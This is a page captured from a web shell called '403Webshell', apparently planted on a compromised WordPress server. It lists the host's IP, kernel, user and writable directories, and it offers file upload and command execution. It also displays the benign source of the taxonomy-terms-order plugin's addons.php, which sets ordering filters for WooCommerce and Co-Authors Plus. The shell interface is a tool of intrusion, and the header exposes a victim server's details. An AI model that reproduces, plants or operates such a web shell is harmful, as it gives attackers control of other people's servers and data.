403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/x9dppmxs4rgd/www/wp-content/plugins/taxonomy-terms-order/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/x9dppmxs4rgd/www/wp-content/plugins/taxonomy-terms-order/include/addons.php
<?php
    
    if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
    
    //Co-Authors Plus fix
    add_action ('to/get_terms_orderby/ignore', 'to_get_terms_orderby_ignore_coauthors', 10, 3);
    function to_get_terms_orderby_ignore_coauthors( $ignore, $orderby, $args )
        {
            if( !function_exists('is_plugin_active') )
                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
            
            if( !   is_plugin_active( 'co-authors-plus/co-authors-plus.php' ))
                return $ignore;
            
            if ( ! isset($args['taxonomy']) ||  count($args['taxonomy']) !==    1 ||    array_search('author', $args['taxonomy'])   === FALSE )
                return $ignore;    
                
            return TRUE;
            
        }
        
    
    //WooCommerce Attribute order
    add_action ('to/get_terms_orderby/ignore', 'to_get_terms_orderby_ignore_woocommerce', 10, 3);
    function to_get_terms_orderby_ignore_woocommerce( $ignore, $orderby, $args )
        {
            if( !function_exists('is_plugin_active') )
                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
            
            if( !   is_plugin_active( 'woocommerce/woocommerce.php' ))
                return $ignore;
            
            if ( ! function_exists ( 'wc_get_attribute_taxonomies' ) )
                return $ignore;
                
            //create a list of attribute taxonomies
            $attributes =   wc_get_attribute_taxonomies();
            $found_attributex_tax   =   array();
            foreach ( $attributes    as  $attribute ) 
                {
                    $found_attributex_tax[] =   'pa_'   .   $attribute->attribute_name;
                }
            
            if ( ! isset($args['taxonomy']) ||  count($args['taxonomy']) !==    1 )
                return $ignore; 
                
            if ( count  ( array_intersect( $found_attributex_tax, $args['taxonomy']) )  <   1   )
                return $ignore;       
                
            return TRUE;
            
        }
    

?>

Youez - 2016 - github.com/yon3zu
LinuXploit